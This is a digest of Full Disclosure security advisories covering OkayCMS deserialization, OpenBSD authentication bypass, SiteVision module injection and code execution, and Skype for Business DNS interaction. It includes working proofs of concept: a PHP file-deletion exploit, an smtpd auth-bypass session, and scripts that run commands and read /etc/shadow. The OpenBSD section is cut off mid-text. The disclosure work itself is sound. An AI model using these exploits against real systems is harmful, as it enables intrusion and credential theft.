[FD] [AIT-SA-20191129-01] CVE-2019-16885: Unauthenticated remote code execution in OkayCMS

2019-12-06 Thread sec-advisory
# Unauthenticated remote code execution in OkayCMS

## Overview
* Identifier: AIT-SA-20191129-01
* Target: OkayCMS
* Vendor: OkayCMS
* Version: all versions including 2.3.4
* CVE: CVE-2019-16885
* Accessibility: Local
* Severity: Critical
* Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology)

## Summary
[OkayCMS is a simple and functional content managment system for an online 
store.](https://okay-cms.com)

## Vulnerability Description
An unauthenticated attacker can upload a webshell by injecting a malicious 
php-object via a crafted cookie. This could happen at two places. First in 
"view/ProductsView.php" using the cookie "price_filter" or in 
"api/Comparison.php" via the cookie "comparison". Both cookies will pass 
untrusted values to a unserialize()-function. The following code shows the 
vulnerability in "api/Comparison.php":

```
$items = !empty($_COOKIE['comparison']) ? unserialize($_COOKIE['comparison']) : 
array();
```

The unsafe deserialization also occurs in "view/ProductsView.php":

```
$price_filter = unserialize($_COOKIE['price_filter']);
```


## Proof of Concept
The following code utilizes an object of the smarty-component to delete 
arbitrary files from the webhost:

```
 \n";
  exit(1);
}

$url = $argv[1];
$file = $argv[2];

class Smarty_Internal_CacheResource_File {

public function releaseLock(Smarty $smarty, Smarty_Template_Cached 
$cached) {
$cached->is_locked = false;
@unlink($cached->lock_id);
}
}

class Smarty_Template_Cached {
public $handler = null;
public $is_locked = true;
public $lock_id = "";

public function __construct() {
   $this->lock_id = $GLOBALS['file'];
   $this->handler = new Smarty_Internal_CacheResource_File;
}
}


class Smarty {
public $cache_locking = true;
}

class Smarty_Internal_Template  {
public $smarty = null;
public $cached = null;

public function __construct() {
$this->smarty = new Smarty;
$this->cached = new Smarty_Template_Cached;
}

public function __destruct(){
if ($this->smarty->cache_locking && isset($this->cached) && 
$this->cached->is_locked) {
$this->cached->handler->releaseLock($this->smarty, $this->cached);
}
}
}

$obj = new Smarty_Internal_Template();

$serialized = serialize($obj);

$un = unserialize($serialized);

$headers = [
  'Accept-Language: en-US,en;q=0.5',
  "Referer: $url/en/catalog/myagkie-igrushki",
  'Cookie: ' . 'price_filter=' . urlencode($serialized) . ';'
];

$curl = curl_init();
curl_setopt_array($curl, [
CURLOPT_HTTPHEADER => $headers,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => "$url/en/catalog/myagkie-igrushki/sort-price",
CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) 
Gecko/20100101 Firefox/60.0'
]);
$resp = curl_exec($curl);
if(curl_error($curl)) {
   print curl_error($curl);
}
curl_close($curl);


print $resp;

?>
```

## Notes
Because of the high severity of this vulnerability we will not release a full 
exploit for the remote code execution.

## Vulnerable Versions
 versions of the “Lite”-branch including 2.3.4. Pro Versions prior 3.0.2 might 
have been affected too.

## Tested Versions
OkayCMS-Lite 2.3.4

## Impact
An unauthenticated attacker could upload a webshell to the server and execute 
commands remotely.

## Mitigation
At the moment of this publication the vendor has only patched the paid version 
of the CMS, so a change to other free software or an upgrade to the Pro version 
of OkayCMS is recommended.

## References:
*  https://nvd.nist.gov/vuln/detail/CVE-2019-16885

## Vendor Contact Timeline

* `2019-08-29` Contacting the vendor
* `2019-09-04` Vendor replied
* `2019-09-17` Vendor released commercial version 3.0.2 including a bugfix
* `2019-09-29` Public disclosure

## Advisory URL
[https://www.ait.ac.at/ait-sa-20191129-01-unauthenticated-remote-code-execution-okaycms](https://www.ait.ac.at/ait-sa-20191129-01-unauthenticated-remote-code-execution-okaycms)


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


[FD] Authentication vulnerabilities in OpenBSD

2019-12-06 Thread Qualys Security Advisory

Qualys Security Advisory

Authentication vulnerabilities in OpenBSD


==
Contents
==

1. CVE-2019-19521: Authentication bypass
   1.1. Analysis
   1.2. Case study: smtpd
   1.3. Case study: ldapd
   1.4. Case study: radiusd
   1.5. Case study: sshd
   1.6. Case study: su
2. CVE-2019-19520: Local privilege escalation via xlock
3. CVE-2019-19522: Local privilege escalation via S/Key and YubiKey
4. CVE-2019-19519: Local privilege escalation via su
5. Acknowledgments


==
1. CVE-2019-19521: Authentication bypass
==

We discovered an authentication-bypass vulnerability in OpenBSD's
authentication system: this vulnerability is remotely exploitable in
smtpd, ldapd, and radiusd, but its real-world impact should be studied
on a case-by-case basis. For example, sshd is not exploitable thanks to
its defense-in-depth mechanisms.


==
1.1. Analysis
==

From the manual page of login.conf:

--
 OpenBSD uses BSD Authentication, which is made up of a variety of
 authentication styles.  The authentication styles currently provided are:
 ...
 passwd Request a password and check it against the password in the
master.passwd file.  See login_passwd(8).
 ...
 skey   Send a challenge and request a response, checking it with
S/Key (tm) authentication.  See login_skey(8).
 ...
 yubikeyAuthenticate using a Yubico YubiKey token.  See
login_yubikey(8).
 ...
 For any given style, the program /usr/libexec/auth/login_style is used to
 perform the authentication.  The synopsis of this program is:

 /usr/libexec/auth/login_style [-v name=value] [-s service] username class
--

This is the first piece of the puzzle: if an attacker specifies a
username of the form "-option", they can influence the behavior of the
authentication program in unexpected ways.

From the manual page of login_passwd:

--
 login_passwd [-s service] [-v wheel=yes|no] [-v lastchance=yes|no] user
  [class]
 ...
 The service argument specifies which protocol to use with the invoking
 program.  The allowed protocols are login, challenge, and response.  (The
 challenge protocol is silently ignored but will report success as passwd-
 style authentication is not challenge-response based).
--

This is the second piece of the puzzle: if an attacker specifies the
username "-schallenge" (or "-schallenge:passwd" to force a passwd-style
authentication), then the authentication is automatically successful and
therefore bypassed.


==
1.2. Case study: smtpd
==

To demonstrate how smtpd's authentication can be bypassed, we follow the
instructions from the manual page of smtpd.conf:

--
 In this second example, the aim is to permit mail delivery and relaying
 only for users that can authenticate (using their normal login
 credentials).
   ...
   listen on egress tls pki mail.example.com auth
   ...
   match auth from any for any action "outbound"
--

and we restart smtpd. Then, with our remote-attacker hat on:

--
$ printf '\0-schallenge\0whatever' | openssl base64
AC1zY2hhbGxlbmdlAHdoYXRldmVy

$ openssl s_client -connect 192.168.56.121:25 -starttls smtp
...
EHLO client.example.com
...
AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy
235 2.0.0 Authentication succeeded
--


==
1.3. Case study: ldapd
==

From the manual page of ldapd:

--
 ldapd can authenticate users via simple binds or SASL with the PLAIN
 mechanism.
 ...
 When using SASL binds, the authentication ID 

[FD] SiteVision Insufficient Module Access Control

2019-12-06 Thread Oscar Hjelm
# SiteVision Insufficient Module Access Control

CVE-2019-12734
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12734
https://www.cybercom.com/About-Cybercom/Blogs/Security-Advisories/high-risk-vulnerabilities-in-cms-product/


## Summary
Attackers may inject non-authorised modules when editing pages using a 
low-privilege account, leading to impacts ranging from Cross-Site Scripting to 
Remote Code Execution.


## Vendor Description
SiteVision AB is a Swedish product company focused on developing the portal and 
web publishing platform SiteVision.


## Affected Versions
All versions of SiteVision 4 until 4.5.6.
All versions of SiteVision 5 until 5.1.1.
Earlier major versions are assumed to be vulnerable.


## Technical Details
This vulnerability allows remote code execution as described in CVE-2019-12733.

Modules are basic building blocks in SiteVision pages and templates; they can 
feature display content such as headings and paragraphs, social functions and 
commenting, raw HTML, or server-side scripts.

The SiteVision application does not sufficiently assert whether or not the 
current user is authorised to add a specific module type to the current page, 
allowing attackers with low-privilege to add hostile content. This can 
trivially be reproduced by adding a paragraph text module, and changing "text" 
to "html" (or any other type) in the outgoing HTTP request. The application 
does not check whether or not the user is authorised to add the requested 
module; it relies on the fact that the user interface does not expose a button 
for it.

Reproduced on SiteVision 4 and 5; the following steps applies to SiteVision 5:

1. Install SiteVision and either create or import a new site.
2. Set up and create an Editor ("Redaktör") user.
3. Log on as the new low-privilege user.
4. Create a new page and note how only basic modules are available.
5. Insert a text module.
6. Re-send the HTTP request generated in step #5, but change the value of 
portletType from "text" to "html". The following is the resulting request for 
our demo environment:

```
POST /edit-api/1/4.549514a216b1c6180f41c3/4.549514a216b1c6180f41c3/portlet 
HTTP/1.1
Host: fast.furious
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) 
Gecko/20100101 Firefox/67.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://fast.furious/edit/4.549514a216b1c6180f41c3
Content-Type: application/json; charset=utf-8
X-CSRF-Token: [...]
X-Requested-With: XMLHttpRequest
Content-Length: 70
Connection: close
Cookie: [...]

{"portletType":"html","relativeElement":"12.549514a216b1c6180f41d0"}
```

7. Edit the HTML module and inject any JavaScript payload such as 
`alert(1)`.
8. Under "Other" check "Show in edit mode".
9. Press "OK".
10. Note the alert pop-up, indicating that the injected JavaScript was executed.


## Vulnerability Disclosure Timeline
2019-06-03 - Disclosed to vendor
2019-06-04 - Vendor confirms vulnerability
2019-09-26 - Vendor issues patches
2019-12-04 - Public disclosure

Oscar Hjelm
Cybercom Sweden




signature.asc
Description: Message signed with OpenPGP

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] SiteVision Remote Code Execution

2019-12-06 Thread Oscar Hjelm
# SiteVision Remote Code Execution

CVE-2019-12733
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12733
https://www.cybercom.com/About-Cybercom/Blogs/Security-Advisories/high-risk-vulnerabilities-in-cms-product/


## Summary
Attackers may execute arbitrary code as root on the target server after gaining 
access to a low-privilege account.


## Vendor Description
SiteVision AB is a Swedish product company focused on developing the portal and 
web publishing platform SiteVision.


## Affected Versions
All versions of SiteVision 4 until 4.5.6.
All versions of SiteVision 5 until 5.1.1.
Earlier major versions are assumed to be vulnerable.


## Technical Details
The SiteVision application does not sufficiently validate whether or not the 
current user is permitted to add or edit modules of the "script" type. This 
means that a low-privilege user such as an Editor ("Redaktör") can inject a new 
script module, or edit an existing one, and leverage it to execute arbitrary 
code.

The access control flaw allowing users to inject non-authorized modules are 
described separately in CVE-2019-12734.

While the scripts are written in JavaScript, the environment allows the 
developer to reach and import Java APIs.

Reproduced on SiteVision 4 and 5; the following steps applies to SiteVision 5:

1. Install SiteVision and either create or import a new site.
2. Set up and create an Editor ("Redaktör") user.
3. Log on as the new low-privilege user.
4. Create a new page and note how only basic modules are available.
5. Insert a text module.
6. Re-send the HTTP request generated in step #5, but change the value of 
portletType from "text" to "script". The following is the resulting request for 
our demo environment:

```
POST /edit-api/1/4.549514a216b1c6180f41c3/4.549514a216b1c6180f41c3/portlet 
HTTP/1.1
Host: fast.furious
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) 
Gecko/20100101 Firefox/67.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://fast.furious/edit/4.549514a216b1c6180f41c3
Content-Type: application/json; charset=utf-8
X-CSRF-Token: [...]
X-Requested-With: XMLHttpRequest
Content-Length: 70
Connection: close
Cookie: [...]

{"portletType":"script","relativeElement":"12.549514a216b1c6180f41d0"}
```

7. Issue the modified request to the application.
8. Reload the current page and note how it now contains a script module.
9. Edit the script module to contain the following JavaScript code:

```
const app = (() => {
   'use strict';

   importPackage(java.io);
   importPackage(java.lang);

   const init = () => {
var result = [];

var p = Runtime.getRuntime().exec("whoami");
var stdInput = new BufferedReader( new InputStreamReader( 
p.getInputStream() ) );
var s;
while (( s = stdInput.readLine()) != null) {
 result.push(s);
}

return result;

   };

   return { init: init };
})();

const context = app.init();
```

9b. Following PoC can be used for reading files such as /etc/passwd or 
/etc/shadow:

```
const app = (() => {
   'use strict';

   importPackage(java.io);
   importPackage(java.lang);

   const init = () => {
var result = [];
  var file = new File('/etc/passwd');
var br = new BufferedReader(new FileReader(file));

var st;
  while ((st = br.readLine()) != null) {
result.push(st);
  }

  return result;
   };

   return { init: init };
})();

const context = app.init();
```

10. Enter the following Velocity code:

```


   Script output:



   As List:


#foreach( $c in $context )
$c
#end



   As String:

$context

```

11. Under "Other" check "Show in edit mode".
12. Press "OK".
13. Note the script output, and how it contains the result of the system 
command. In the command example above, the result of whoami should be "root" if 
SiteVision 5 was installed using the vendor-provided RPM package.


## Vulnerability Disclosure Timeline
2019-06-03 - Disclosed to vendor
2019-06-04 - Vendor confirms vulnerability
2019-09-26 - Vendor issues patches
2019-12-04 - Public disclosure

Oscar Hjelm
Cybercom Sweden




signature.asc
Description: Message signed with OpenPGP

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] External Service Interaction (DNS) on Skype for Business

2019-12-06 Thread Alphan YAVAS
I. VULNERABILITY
-
Microsoft Skype for Business External Service Interaction (DNS)
Latest Version

II. CVE REFERENCE
-
Not Assigned Yet

III. VENDOR
-
https://www.microsoft.com

IV. TIMELINE
-
28/11/2019 Vulnerability discovered
03/12/2019 Vendor contacted
04/12/2019 Microsoft replay that “We determined that this behavior is
considered to be by design.”

V. CREDIT
-
Alphan Yavas from Biznet Bilisim A.S.

VI. DESCRIPTION
-
Microsoft Skype for Business latest versions affected from external
service interaction(DNS) vulnerability. A remote attacker could force
the vulnerable server to send DNS request to any remote server
attacker wants.

VII. PROOF OF CONCEPT
-
Affected Component:
Path(inurl): /Dialin/Conference.aspx
Parameter: Username

Login page of Skype for Business affected from external service
interaction (DNS) vulnerability. If username is being sent with
following format victim server will send out DNS queries to xxx
domain.  (xxx is the domain which you want to send request from
server)

username: ssrf.xxx.com\pentest
password: (doesn't matter)

Reference: 
https://portswigger.net/kb/issues/00300200_external-service-interaction-dns

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/